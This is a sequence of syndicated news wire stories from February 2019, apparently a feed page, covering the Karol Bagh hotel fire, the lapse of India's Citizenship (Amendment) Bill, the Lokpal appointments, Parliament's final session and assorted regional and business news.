"In view of the facts and circumstances and considering that the crucial documents for the purpose of effective investigation are to be collected at the instance of accused persons, two days police custody of accused persons Rajender Kumar and Vikas Kumar Takkal is hereby granted subject to medical examination of the accused after every 24 hours as per Supreme Court guidelines," the court said.

A massive fire engulfed Arpit Palace Hotel in central Delhi's Karol Bagh area in the early hours of Tuesday, killing 17 people, including two people who jumped off the building in a desperate bid to save themselves.

The hotel's general manager, Rajender, and manager, Vikas, were arrested for culpable homicide, police said.

The hotel owner, Shardendu Goel, has been absconding since the incident, they said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)BJP's feuding ally Shiv Sena on Wednesday voiced hope that the ruling NDA will retain power at the Centre, saying that it has done a lot of work in the country's interest.

Treasury benches welcomed the words of Sena MP Anandrao Adsul, who was speaking during the last sitting of the 16th Lok Sabha, as the regional party has often been critical of the Modi government and the BJP, never losing an opportunity to fire barbs at its major partner.

"We expect that the NDA will come back to power with a majority," Adsul said.

The House also witnessed warm vibes between the Telangana Rashtra Samiti, which is in power in Telangana and is seen as a prospective ally by the BJP, and the saffron party.

Jithender Reddy of the TRS said people from Telangana are "friends" but the government had little idea "who is its friend and who is enemy", an apparent reference to TDP, an ally-turned-rival of the BJP.

K C Venugopal of the Congress said his party played the role of the opposition in conveying people's concerns to the government and also cooperated with it when needed.

Union Minister and Lok Janshakti Party leader Ram Vilas Paswan said he is often called "weatherman", a reference to his being part of alliances which come to power, and added that he is sure that Modi will be prime minister again.

His government has taken several historic steps, Paswan said.

Union minister and Akali Dal leader Harsimrat Kaur Badal praised the government for its measures benefitting the Sikh community.

Leaders cutting across party lines praised Speaker Sumitra Mahajan for the way she conducted the proceedings of the House, with BJD's B Mahtab describing her as "compassionate yet resolute"



TMC's Sudip Bandyopadhyay also praised Mahajan.

Among those who spoke were Union Minister Anupriya Patel (Apna Dal), Kaushalendra Kumar (JDU), N K Premachandran (RSP) and Dushyant Chautala (INLD).

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)National Conference (NC) president Farooq Abdullah Wednesday lashed out at the Centre and the Jammu and Kashmir Governor S P Malik-led administration, saying the people were being "denied" their rightful share in the newly constituted Ladakh division.

Abdullah said the people of Kargil were "being punished only to pursue the agenda of divisive politics".

"All along, it was decided that the division headquarter will be positioned on a rotational basis between Leh and Kargil and all the departments to be divided equally between the two districts. But the incumbent government issuing an SRO in favour of only one district has severely dented the genuine aspirations of people in Kargil and adjoining areas," he said.

Asserting that the decision was taken keeping in mind the upcoming Lok Sabha and the assembly elections, the NC president said the BJP in "desperation is misusing the governor administration who, without taking cognizance of the aspirations of the people in Kargil, is acting like a pawn".

"However, this move is bound to backfire on them and will certainly not (help) them in achieving the desired goals, but will inevitably create animosity between the communities," Abdullah, Member of Parliament from Srinagar, said.

Demanding the revocation of SRO 110 immediately, he said the way people of Kargil have come out in freezing temperatures and protested against the decision should serve as an eye opener for those who have "whimsically decided on keeping the division headquarters at Leh only".

Taking a dig at the recent constitution of a committee of secretaries by the government mandated to look into the demands of the people of Kargil, he said when the decision to grant division status to Ladakh was taken, no prior discussions or deliberations were held with people of the region.

"A number of deputations have already conveyed their desire to have headquarters on rotational basis between Leh and Kargil. Unfortunately, such demands were not considered for reasons known to the governor administration. This shows how biased and politically motivated the administration is," the NC president said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Zayed University, one of the UAE's top universities, and Bloomberg, the global financial information and technology company, today announced the opening of the Bloomberg Finance Lab at the universitys Dubai campus.

Noura Al Kaabi, Minister of Culture and Knowledge Development and president of Zayed University, and Matthew Winkler, co-founder and editor-in-chief emeritus, Bloomberg News, officially launched the Bloomberg Finance Lab, which is the largest of its kind in the Middle East.

Zayed University joins more than 800 universities worldwide with Bloomberg Terminals or Finance Labs. With 64 Bloomberg Terminals across campuses in Abu Dhabi and Dubai, Zayed University has more terminals available to students and professors than any other university.

Al Kaabi said: "As the UAE continues to position itself as a leader in the world economy and international market, we must ensure that our youth are fully equipped to take on this grave responsibility in the future. The Bloomberg Finance Labs at Zayed University come as a great opportunity to prepare our youth for the corporate workforce."

We are thrilled to be here today and be part of this important milestone. Students and professors at Zayed University will now have access to the same market-moving news and data relied on by the worlds leading business and financial professionals, added Winkler.

We hope that the training and coursework offered by the Bloomberg Finance Lab will advance the careers of hundreds of students in the UAE, so that they can play an active role in the countrys evolving economic landscape.

The Bloomberg Terminal service is a seamlessly integrated solution that provides real-time and historical data, market-moving news and analytics to help leading business and financial professionals worldwide make better-informed investment decisions. The service also features execution platforms for every asset class, research and a global network to communicate securely and reliably.

The Bloomberg Finance Lab will help undergraduate and graduate students build the skills needed for a career in finance. Students will also have access to Bloomberg Market Concepts (BMC), an e-learning certification course, and CFAPRO, a database that maps the CFA Institute Candidate Body of Knowledge to over 387 relevant Bloomberg Terminal functions. Students of the undergraduate and masters programs will receive training on the use of the Bloomberg Terminal, as well as courses on investment, risk and portfolio management. The lab will also be accessible to the universitys academic community to conduct research projects. - TradeArabia News ServiceFormer Madhya Pradesh Chief Minister Shivraj Singh Chouhan met his successor Kamal Nath at the state secretariat here on Wednesday and held talks with him on various issues.

Talking to reporters after the meeting, Chouhan said he drew Nath's attention towards farmers' concerns and law and order situation.

"I sought compensation for the farmers, whose crops were damaged due to hail and frost in different parts of the state recently. Besides, I drew the government's attention towards its Rs 2 lakh loan waiver schemes for the farmers," he added.

"Farmers want the loan waiver scheme to be simplified. I also underlined the need to improve the law and order situation in the state," he said.

The Congress government in Madhya Pradesh has waived the outstanding short term crop loans of farmers up to Rs 2 lakh. The party had promised the farm loan waiver in the run up to the November 28 MP assembly polls.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Egypt's Parliament has begun deliberations over constitutional amendments that could allow President Abdel-Fattah el-Sissi to stay in office till 2034 12 more years after his current, second term expires in 2022.

The discussions are to lead to a vote later in the day or on Thursday, after which the text of the amendments would be finalized by a special legislative committee for a final decision within two months.

Parliament Speaker Ali Abdel-Al opened Wednesday's session, according to a statement sent to the media.

The 596-seat assembly has already given its preliminary approval to the changes last week. The amendments are near certain to be overwhelmingly approved by the legislature, packed with el-Sissi's supporters, but will also need to be put to a national referendum to become law.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Robert Vadra, Congress president Rahul Gandhi's brother-in-law, was quizzed by the Enforcement Directorate officials here for nine hours on Wednesday after he appeared before the agency for the second consecutive day in connection with an alleged land scam in Bikaner district of Rajasthan.

Vadra's questioning resumed after he reached the ED's zonal office at Bhawani Singh road at 10.26 am. He was given a one-hour lunch break and he left the ED office at around 8.40 pm for the airport.

Vadra and his mother Maureen had appeared before the ED on Tuesday. While his mother was allowed to go after some time, Vadra was grilled for nearly nine hours.

The Rajasthan High Court had asked Vadra and his mother to cooperate with the agency after they approached it seeking directions that no coercive action be taken against them by the ED.

A case was registered by the ED in 2015, taking cognisance of a clutch of FIRs and charge sheets filed by the Rajasthan police after the Bikaner tehsildar complained about alleged forgery in land allotment.

It is understood that the agency wanted to question him about the operations of Skylight Hospitality Private Limited, allegedly linked to him, which purchased land in the area.

It also wanted to confront Vadra with the statements of those said to be linked to him.

Last week, the ED had quizzed Vadra in Delhi for three days in connection with a money laundering probe against him for allegedly procuring assets abroad in an illegal manner.

AICC general secretary Priyanka Gandhi Vadra had on Tuesday dropped off her husband and mother-in-law at the ED office here, taking time off from her four-day Uttar Pradesh trip.

In a Facebook book, Vadra had accused the Narendra Modi government of being vindictive ahead of the Lok Sabha elections.

Vadra is also facing accusations of irregularities in land deals in Haryana's Gurugram district. He has denied any wrongdoing.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Earlier applications received in response to a 2014 advertisement for the posts of chairman and members of Lokpal have become invalid as the term of the previous search committee has ended and all aspirants need to apply again, officials said.

A decision in this regard was taken during the second meeting of the Lokpal search committee held here on Wednesday.

"The committee also took note of earlier applications received during the term of previous search committee and decided that as the term of the earlier committee had ended, these applications are not valid. Interested persons may apply afresh if they are eligible," a statement issued by the Personnel Ministry said.

The panel has decided to hold its next meeting on February 25, 2019.

The government had in January 2014 sought the applications for the appointments of chairman and members of Lokpal. However, the process was later stalled due to some legal infirmities, the officials said.

After forming the search panel afresh in September last year, the government started the process of setting up of the Lokpal again.

The search committee held its first meeting on January 29.

Following which, the Ministry of Personnel had on February 6 issued a fresh advertisement seeking the applications for appointments in the anti-corruption ombudsman.

The Supreme Court had on January 17 set up a February-end deadline for the Lokpal search committee to send a panel of names who could be considered for the appointment as its chairman and members by Prime Minister Narendra Modi-led selection committee.

For the appointment as the chairman, a person who is or has been Chief Justice of India or a Supreme Court judge is eligible to apply, according to the latest advertisement.

Besides this, individuals with "impeccable integrity and outstanding ability" having special knowledge and expertise of not less than 25 years in matters related to anti-corruption policy, public administration, vigilance, finance including insurance and banking, and law and management are eligible to apply.

Those with less than 45 years of age are not eligible to apply.

According to rules, there is a provision for a chairperson and a maximum of eight members in the Lokpal. Of these, four need to be judicial members.

"Not less than 50 per cent of the members of the Lokpal shall be from amongst the persons belonging to the Scheduled Castes, the Scheduled Tribes, Other Backward Classes, minorities and women," the advertisement seeking the applications reads.

Upon selection, the chairperson and members shall hold office for a term of five years or till they attain 70 years of age.

The salary and allowances of the chairman of the Lokpal will be same as that of the Chief Justice of India. The members will be paid salary and allowances same as that of a judge of the Supreme Court.

The last date to apply for the post is February 22.

The eight-member search committee is headed by former Supreme Court judge Ranjana Prakash Desai.

It has has former chief of State Bank of India (SBI) Arundhati Bhattacharya, Prasar Bharati chairperson A Surya Prakash and Indian Space Research Organisation (ISRO) head A S Kiran Kumar as members.

Besides them, former Allahabad High Court judge Sakha Ram Singh Yadav, former Gujarat Police head Shabbirhusein S Khandwawala, retired IAS officer of Rajasthan cadre Lalit K Panwar, and former Solicitor General Ranjit Kumar are the other members of the panel.

The Lokpal Act, which envisages establishment of the anti-graft body, Lokpal, at the Centre and Lokayuktas in states to look into cases of corruption against certain categories of public servants, was passed in 2013.

The Lokpal selection committee is headed by the prime minister and has as its members -- the Lok Sabha Speaker, leader of the opposition in the lower house, the Chief Justice of India or a judge of the apex court nominated by him, and an eminent jurist who could be nominated by the President or any other member.

Leader of Congress in Lok Sabha Mallikarjun Kharge had been invited in the past meetings of the selection panel as a "special invitee".

President Ram Nath Kovind had nominated former Attorney General of India Mukul Rohatgi as "eminent jurist" as the member of the panel against the vacancy arising following the death of senior advocate P P Rao.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Singapore headquartered global investor Temasek has acquired a minority stake in Dr Agarwal's eye care hospital chain as the Indian group Wednesday unveiled an ambitious expansion plan to double its number of hospitals from 76 to 150 in five years.

Chairman of Dr Agarwal's Group of Eye Hospitals, Amar Agarwal, told reporters that the chain has raised Rs 270 crore investment from Temasek which has acquired a minority stake in the hospital chain.

He, however, did not outline the nitty gritty of share pattern following the investment.

"For the first time Temasek is investing in eye care in India and it is proof of our credibility," he said.

From a single hospital in 2006 here, Agarwal said the hospital has grown to 76 in just over 10 years and backed by such a hands on experience, he was confident of expanding its footprint.

Of the 76 Agarwal eye hospitals, 13 are in African countries including Ghana and the rest in 10 Indian States with Tamil Nadu topping the list with 25 centres.

Stating that there were 350 eye doctors presently in the Agarwal group of hospitals, Amar Agarwal expressed confidence the numbers will grow to 800 doctors over a period of time.

The aim is to ensure high quality eye care "everywhere.. in all the centres and to have a clinical audit team," he said.

Agarwal said the proposed expansion will be carried out in three phases and "we will be clocking 100 hospitals," in the next 15 months and reach 125 by three years and eventually the tally will be 150 in five years, he said.

Dr Adil Agarwal, CEO, Dr Agarwal Group, said the focus of expansion will be on metro as well as tier 2 and 3 cities in States including Maharashtra, Kerala, Telangana, West Bengal and central India.

"The expansion will be done through a mix of strategic partnerships, acquisitions and greenfield hospitals. Innovation and technology will continue to be at the forefront of our growth," he said.

The hospital will be investing more in cutting edge technology across all their centres. "Innovation and technology will continue to be at the forefront of our growth," Adil Agarwal said.

The hospital commenced its operation in Chennai in 1957 as a single facility and it now has 17 centres here, he said, adding it is poised to expand its presence to 25 centres in Chennai alone.

For Dr Agarwal's the earlier round of investment came from ADV Partners that had infused Rs 270 crore in 2016.

According to the hospital, it offers a complete range of top class eye care services including laser correction, vitreo-retinal surgery, corneal transplantaion, glaucoma and squint at its centres.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Former Assam Chief Minister Prafulla Kumar Mahanta Wednesday asked the Centre not to promulgate any ordinance after the contentious Citizenship (Amendment) Bill could not be passed in Rajya Sabha.

Mahanta also said the NDA government should notice that there has been "overwhelming" opposition to the legislation, which was passed in Lok Sabha on January 8 but could not be debated in Rajya Sabha, from the people of the Northeast.

"They (government) should not issue any ordinance. They should not try to impose the bill on the people of Northeast through other ways," he told reporters.

The Citizenship (Amendment) Bill provided for according Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after six years of residence in India, instead of the current 11 years.

The bill is set to lapse on June 3 when the term of the present Lok Sabha ends as it could not be passed in Rajya Sabha, which adjourned sine die on Wednesday.

The Budget Session was the last Parliament session of the present government.

Mahanta said 11 political parties in the Northeast have fought together against the bill and this is a "victory of democracy" and the people of the region, which fought against the bill.

"We hope that the government of India has noticed it. Today, democracy has won. They want to pass the bill undemocratically," he said.

Samujjal Kumar Bhattacharjya, advisor of the North East Students Organisation, a conglomerate of eight influential student bodies of the region, congratulated the people of northeast, saying the central government's move to amend the Citizenship Act has pushed the people of the region sentimentally afar from the rest of the country.

"We hope that they will not take such move in future. People of the northeast are united and we will continue to be united to fight any such move which is against the interests of the northeast," he said.

Meghalaya Chief Minister Conrad Sangma said it was a victory for the people of northeast as the bill could not get through Rajya Sabha.

"It is a great victory for the people of northeast. Credit goes to all organisations, political parties and the people of northeast," he said.

Asked about the threat by his party, NPP, to walk out of the NDA if the bill is passed, Sangma said: "This is not the time to talk about political realignment".

There has been strong opposition to the bill in Assam and other northeastern states.

Student organisations, political parties and socio-cultural bodies have been protesting on the grounds that it seeks to grant nationality to non-Muslims who have come into India up to December 31, 2014, thereby increasing the deadline from 1971 as per the Assam Accord.

Also, according to the Assam Accord, all illegal immigrants who have come after 1971, irrespective of their religion, have to be deported and this bill violates that.

Two BJP chief ministers of the Northeast -- Arunachal Pradesh's Pema Khandu and Manipur's N Biren Singh -- have also voiced their opposition to the contentious Bill.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A day after a massive fire broke out at Arpit Palace Hotel in Karol Bagh that claimed lives of 17 persons, Delhi Fire Service on Wednesday began a fire-audit at about 380 hotels across the central Delhi



area, a senior fire officer said.

The Delhi Government on Tuesday directed the fire department to inspect buildings which are five floors or more and submit a report on their safety compliance within a week.

"Based on the directives of the state government, we have formed six teams to carry out inspections in hotels and guest houses across Karol Bagh area. We have already begun the inspection," Atul Kumar Garg, Chief Fire Officer said.

All hotels will be strictly checked for their safety norms. If fire-fighting equipment not in place, severe action will be taken against the hotel management, he said.

Action will be taken against the hotels depending on the extent of violations. If minor lapses are found, they will be warned and asked to rectify it within a couple of days. If not rectified, action will be taken accordingly, the fire official added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi court on Wednesday said it will hear the bail plea of Rajeev Saxena, arrested in the Rs 3,600-crore AgustaWestland money-laundering case, on Thursday.

Special Judge Arvind Kumar, who sent Saxena to jail till February 18, said he will hear the matter after perusing Saxena's medical report, which was yet to be submitted by AIIMS.

Saxena has sought bail on medical grounds and told the court that he suffers from a "heart disease" and "advanced-stage leukaemia".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Madhya Pradesh police Wednesday announced a reward of Rs 50,000 for information about twin brothers, six years old, who were abducted from their school in Chitrakoot town in Satna district.

As the children lived across the border in Uttar Pradesh, the police of both states are working on the case, a senior official said Wednesday.

Even after twenty-four hours, the police have not got any strong leads in the case.

Two masked men who came on a motorbike abducted the two children at gunpoint when they ware boarding a bus for returning home on the premises of Sadguru Public School around 1 pm Tuesday, the police said.

The children are residents of Ramghat in Chitrakoot Dham (Karwi) district in Uttar Pradesh.

They travelled four km across the border to the school every day, said Satna district superintendent of police Santosh Singh Gaur.

Gaur told PTI over phone that the family had not received any ransom call so far. "We are working with the Uttar Pradesh police to rescue the twins, he added.

"We have got some inputs and we are working on them," he said, adding that the police have picked up six to eight persons for questioning, but were to get any strong leads.

The incident could be the fall-out of previous enmity somebody might have with the children's father, who is an oil trader, or his family, another police official said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Global political and business decision makers, NGOs and philanthropists chose the seventh World Government Summit (WGS 2019) in Dubai to create a vision for a brighter, more sustainable future world this week.



Pakistan Prime Minister Imran Khan spoke of a new era for investment opportunities in the country as it seeks to unshackle itself from the corruption that has marred its reputation for many years.



Paul Kagame, President of a resurgent Rwanda, said Africa could realize its full potential by becoming one united continent. Young Africans must be given a real stake in the future of their continent, he said, as he addressed a brimming plenary hall at Madinat Jumeirah.



Earlier yesterday (February 12), actor-turned-philanthropist Harrison Ford said climate change was the greatest moral crisis of our time.



At the start of the week, leadership expert and entrepreneur Tony Robbins announced he is collaborating with UAE leadership on a humanitarian project to feed one billion people.



In a world first on Monday, Dubais Crown Prince Sheikh Hamdan bin Mohammed bin Rashid said that cities of the future could become the worlds bread basket to meet soaring global population growth.



Talking to CNNs Richard Quest, IMF Managing Director Christine Lagarde candidly said artificial intelligence will drastically reshape the future of jobs and human intelligence, adding that even her own job will be adjusted in the future.



And just a week after the first ever Papal visit to the Arabian Peninsula, Pope Francis addressed the summit via a live video, where he said the UAE has started a new historical chapter in a modern, tolerant world.



The three-day World Government Summit 2019 ended yesterday (February 12) at Madinat Jumeirah in Dubai. The landmark event convened more than 4,000 participants from 140 countries, including heads of state and governments, and top-tier representatives of 30 international organizations.  TradeArabia News ServiceA few ruling party MLAs including former minister Rana Gurjit Singh Wednesday put some tough questions to ministers in the House on issues concerning their assemblies.

On the second day of Punjab Assembly session, Congress MLA from Amloh, Randeep Singh Nabha, repeatedly sought from Industry minister Sham Sundar Arora the exact timeframe for releasing funds to set up steel chamber at Mandi Gobindgarh.

During Question Hour, Nabha pointed out that a sum of Rs 15 crore had been promised by the government for setting up steel chamber and industrial training institute. You give me the exact time frame for releasing the funds, Nabha asked him.

Arora, who was unable to give timeframe, replied that funds would be disbursed as soon as the proposal from the steel industry association was received but Nabha continuously asked him the same question.

After Speaker intervened, the industry minister said that funds would be released within six months.

Earlier, Congress MLAs Rana Gurjit Singh and Hardev Singh Laadi in a supplementary question asked Punjab PWD minister Vijayinder Singla to recarpet the Phillaur-Nakodar road and four-laning of Phillaur-Kapurthla roads, leading to Sultanpur Lodhi in the wake of 550 birth anniversary of Guru Nanak Dev.

The founder of Sikhism, Guru Nanak Dev had spent first 14 years of his life at Sultanpur Lodhi.

"Doaba is also part of Punjab. You go from Phillaur to Kapurthala or come from Phagwara, you will find all the roads in dilapidated condition. There had been partiality against Doaba region in the past and we hoped that this partiality would not be there during present regime, said Rana Gurjit, who is a former minister.

Replying to their questions, minister Singla said he would call all the legislators of Doaba region and seek their suggestions on improving the condition of roads.

Meanwhile, Chief Minister Amarinder Singh while replying to a question informed the House that his government was prepared to consider 100 per cent subsidy for groups of poor farmers of the Kandi area for fencing their fields against stray animals.

Intervening during the question hour on the issue raised by AAP MLA Jai Krishan Rodi, the CM said the state government was fully seized of the matter and was making all-out efforts to protect the crops of farmers from stray animals.

Amarinder said his government was already providing 50 per cent subsidy to farmers for fencing their fields and a pilot project had been launched last year under which total subsidy to the tune of Rs 4.21 crore had been given to 563 farmers in Kandi.

Responding to a MLA's suggestion, the CM assured the House that the government would consider the proposal to allow fencing subsidy for groups of poor farmers, instead of providing individual subsidy.

Replying to another question, Amarinder ruled out any move to shift Ghanaur police station, currently located near the bus stand, to a different place.

In a reply to question raised by Ghanaur MLA Madan Lal Jalalpur, the CM said the present location and building of the police station, though close to the bus stand and the main market, was safe and suitable from security point of view.

The building of the police station was constructed near the main bazaar of the city in the year 2005, and there was no proposal to shift the police station to any other place, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Close to 2,800 URLs (Uniform Resource Locators) with "malicious content" were blocked in 2018, up from 1,385 last year, under a specific provision of the Information Technology Act, Parliament was informed Wednesday.

In a written reply to the Lok Sabha, Minister of State for Electronics and IT S S Ahluwalia said Section 69A of the IT Act, 2000, empowers Government to block any information generated, transmitted, received, stored or hosted in any computer resource in the interest of sovereignty, security and public order in the country, among others.

He added that 2,799 URLs having malicious content were blocked under the provisions of the said section in 2018.

The number of such URLs that were blocked stood at 1,385 in 2017, 633 in 2016, and 500 in 2015.

Ahluwalia said the government has taken several steps to actively dismiss fake clips and to spread information regarding authenticity of clips on social media platforms.

He stated that the Electronics and Information Technology Ministry (MeitY) took note of media reports about spread of fake news, misinformation /disinformation on Internet, particularly using WhatsApp and issued a notice to the company in July last year.

In its response, WhatsApp had conveyed a number of steps taken by it to address the issue of fake propagated using the messaging platform.

"MeitY and Ministry of Home Affairs as well as Police are in regular touch with various social media platforms to effectively address the issue of removal of objectionable content," he added.

Besides, MeitY through its programme - Information Security Education and Awareness (ISEA) - has been highlighting the importance of following the ethics while using Internet and advice not to share rumours/fake

A dedicated website for information security awareness has also been set up where a module on fake have been provided, he said.

In response to a separate query, Ahluwalia asserted that the government is fully committed to freedom of speech and expression and privacy of its citizens, and there is no proposal to introduce pre-censorship of online content.

Answering another question, Ahluwalia said there have been few instances of data breaches by private social media websites that were reported in the media.

He also said that the government had taken notice of reports about leakage of data by Facebook and Cambridge Analytica. In responses to notices sent to them, Facebook conveyed that there had been unauthorised data leakage by Cambridge Analytica.

"However, since the reply given by Cambridge Analytica was not adequately convincing, CBI has been asked to investigate this matter with regard to possible misuse by Cambridge Analytica," he added.

Also, one incident of breach of personal data of Indian users from a social media company was reported to the Indian Computer Emergency Response Team (CERT-In), he said.

Ahluwalia added that as per information available, external actors exploited vulnerability in the form of software bugs impacting a feature provided for users on a social media platform.

"This allowed unauthorised access to users' account and information. The Indian Computer Emergency Response Team (CERT-In) issued advisories to users regarding best practices to be followed for protection of account information while using social media," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Bihar Governor Lalji Tandon escaped unhurt after a fire broke out at a tent located on the Kumbh Mela campus here, fire officials said Wednesday.

The fire, which started at around 2:30 am from a tent at Triveni Shankul in Arail area, where the Governor was also staying, soon engulfed two other nearby tents, said Pramod Kumar Sharma, the chief fire officer (CFO) of Kumbh.

No injury or death was reported, the CFO said.

It was to be ascertained whether the fire was sparked by a blower or a short-circuit, the fire official said, adding that the matter was being probed.

While two tents were completely destroyed, one was partially damaged, he said.

Tandon was there to take part in a programme and was away in some other tent when the fire broke out.

Fire tenders were immediately rushed to the spot and the situation was brought under control.

There have been at least eight fire incidents at separate places on the Mela campus during the ongoing Kumbh here, officials said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Civil society groups and student organisations in Mizoram ended their protest against the Citizenship (Amendment) Bill on Wednesday after the Rajya Sabha was adjourned sine die without the passage of the contentious legislation.

As the term of this Lok Sabha ends on June 3, the bill, which was passed by the lower house on January 8, is set to lapse.

A bill, passed by Lok Sabha, lapses on the expiry of the term of the lower house if it is not passed by Rajya Sabha.

According to NGO Coordination Committee, an umbrella organisation of civil society groups and student bodies in the state, the scheduled rallies against the bill were called off on Wednesday after of the legislation's lapse reached them.

The Citizenship (Amendment) Bill seeks to grant nationality to non-Muslim minorities from Bangladesh, Pakistan and Afghanistan who fled persecution, after six years of residence in India, instead of 12 years, which is currently the norm, even if they do not possess any document.

The indigenous people of the northeast region apprehended that if the law was enacted, it would endanger their livelihood and identity.

Vanlalruata, the chairman of the committee, said its members were rejoicing on streets.

"Our prayers have been heard. We congratulate the people of Mizoram, the civil societies and student organisations for their united opposition to the bill," he said.

The committee had been spearheading protests against the bill in Mizoram, with support from Mizo Zirlai Pawl (MZP), the apex students' body in the state, and other organisations.

MZP president L Ramdinliana Renthlei said the "united efforts of the protesters in the northeast have finally paid off".

A senior police officer said the lapse of the bill was a "welcome relief" for the state as protests over it had led to fear and insecurity among the general public.

Had the legislation been passed by Rajya Sabha, it could have led to communal tension in the state, which has a sizeable Chakma population, he added.

Chakmas trace their roots to Bangladesh.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Tribal outfits and other organisations in the BJP-ruled Tripura expressed happiness on Wednesday over the Centre's failure to get the controversial Citizenship (Amendment) Bill passed in the Rajya Sabha on the last day of its session before the general election.

Students' organisations, political parties and individuals opposing the bill said the collective movement of all against the legislation had won.

Chief Minister Biplab Kumar Deb, however, claimed that a section of the people had misled others about the contents of the bill.

The North East Students Organisation (NESO) said the bill was not passed in Parliament since the people of the region and other parts of the country were united against it and supported their fight.

"We got results in our favour due to a unified and joint effort of the people from north-east and other parts of the country. We are grateful to everyone who have supported us," NESO joint secretary Upendra Debbarma told reporters.

The NESO, an umbrella organisation of different student unions in the region opposed to the bill, had observed a bandh in the north-eastern states on January 8.

"We are delighted. Due to the collective movement of various organisations and political parties, the BJP government had no alternative but to let the bill lapse," Tribal Students' Federation (TSF) general secretary Sunil Debbarma said.

Six activists of the TSF had received bullet injuries during an agitation against the bill at Madhabbari in West Tripura district on January 9.

Sunil Debbarma thanked Congress president Rahul Gandhi, JD(U) chief Nitish Kumar, Shiv Sena supremo Uddhav Thackeray and other leaders for their opposition to the bill.

He said the platform, Movement Against Citizenship Amendment Bill (MACAB), of which the TSF is a part, would organise a "victory rally" here on February 18.

MACAB leader Dinesh Debbarma, who is also the Tripura Congress general secretary, said, "We thank everybody for supporting us in our movement."



State CPI(M) secretary Goutam Das said what happened in the Rajya Sabha was a reflection of the protests held in the region against the bill.

He congratulated all the MPs for their role in Parliament.

The scion of the erstwhile royal family of Tripura, Pradyot Kishore Manikya, said the nation had won over

"Jati jeeta hai, party hara hai (the nation has won and the party has lost). But we have to be cautious. If they are elected again, the central government might try to bring it back through backdoor," he said in a Facebook post.

The Indigenous Peoples' Front of Tripura (IPFT), an ally of the ruling BJP, claimed that the bill was not placed in the Rajya Sabha as Union Home Minister Rajnath Singh had acceded to the party's request not to pass it.

Biplab Deb said, "Some people were spreading confusion and misleading others. People might be protesting for political benefits."



State BJP spokesperson Ashok Sinha claimed that the bill was "unnecessarily politicised" and stated the agitators were unaware of its contents.

The bill, being vehemently opposed in the north-east even by certain allies of the BJP, was passed in the Lok Sabha on January 8 and the Centre had said it would try to get the Rajya Sabha's nod in the Budget Session that concluded on Wednesday.

However, it is set to lapse on June 3, when the term of the present Lok Sabha ends, as it could not be passed in the Rajya Sabha, which adjourned sine die on Wednesday.

A legislation introduced in the Lok Sabha but awaiting the clearance of the Rajya Sabha expires at the end of the term of the Lower House.

The bill seeks to provide citizenship to members of religious minorities from Bangladesh, Pakistan and Afghanistan after six years of residence in India, instead of 11 years, which is the norm currently, even if they do not possess any document.

The indigenous people of the region are apprehending that if the bill is enacted, it will endanger their livelihood and identity.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Movement Against Constitution Amendment Bill (MACAB), a platform of six tribal organisations in Tripura, Wednesday expressed its pleasure as the Citizenship Amendment Bill could not be tabled on the last day in Rajya Sabha and hence destined to lapse.

Sunil Debbarma, General Secretary of Tribal Student Federation (TSF) Wednesday said, We are delighted, because due to collective movement of different organisations and political parties in the country, BJP government had to lapse the bill.

TSF is one of the constituent of the MACAB and six of their activists sustained bullet injuries during an agitation against the bill at Madhabbari in West Tripura district, about 20 km from here on January 9 last.

He said, MACAB would organize a victory rally here on February 18 next, where all the constituents of MACAB, many NGOs and civil society members would gather.

Debbarma also thanked Congress president Rahul Gandhi, Bihar chief minister and JD(U) chief Nitish Kumar and Shiv Sena president Uddav Thakre and other leaders for their movement against the Bill.

The MACAB was formed with the bodies like National Council of Tripura (NCT), Indigenous Nationalist Party of Tripura (INPT), Indigenous Peoples Front of Tripura (IPFT- Tupraha), Tribal Student Federation (TSF) and Schedule Tribe cell of opposition Congress.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The contentious Citizenship (amendment) Bill and the one on banning triple talaq are set to lapse on June 3 when the term of the present Lok Sabha ends as they could not be passed in the Rajya Sabha which adjourned sine die on Wednesday.

The Budget session was the last Parliament session of the present government.

The 17th Lok Sabha has to be constituted before June 3. Lok Sabha polls are due this summer.

Bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha. Bills passed by the Lok Sabha and pending in the Rajya Sabha lapse.

The opposition had been opposing provisions of the two bills in Rajya Sabha where the government lacks numbers.

The Citizenship (Amendment) Bill, 2019 provides for according Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after seven years of residence in India instead of 12 years, which is the norm currently, even if they do not possess any document.

The legislation was passed by the Lok Sabha during the Winter Session on January 8 and has been awaiting the Rajya Sabha's nod.

There has been strong opposition to the bill in Assam and other Northeastern states.

Student organisations, political parties and socio-cultural bodies have been protesting on the grounds that it seeks to grant nationality to non-Muslims who have come into India up to December 31, 2014, thereby increasing the deadline from 1971 as per the Assam Accord.

Also, according to the Assam Accord, all illegal immigrants who have come after 1971, irrespective of their religion, have to be deported and this bill violates that.

Two BJP chief ministers of the Northeast -- Arunachal Pradesh's Pema Khandu and Manipur's N Biren Dingh -- have also voiced their opposition to the contentious Bill.

Prime Minister Narendra Modi announced that the bill is an "atonement of the wrong that was done during India's Partition. India will safeguard all who had been victims of the Partition".

On Saturday, addressing a rally in Assam, Modi said the citizenship bill won't harm the interests of the people of the region but will provide succour to those who have "embraced the idea and ethos of Mother India".

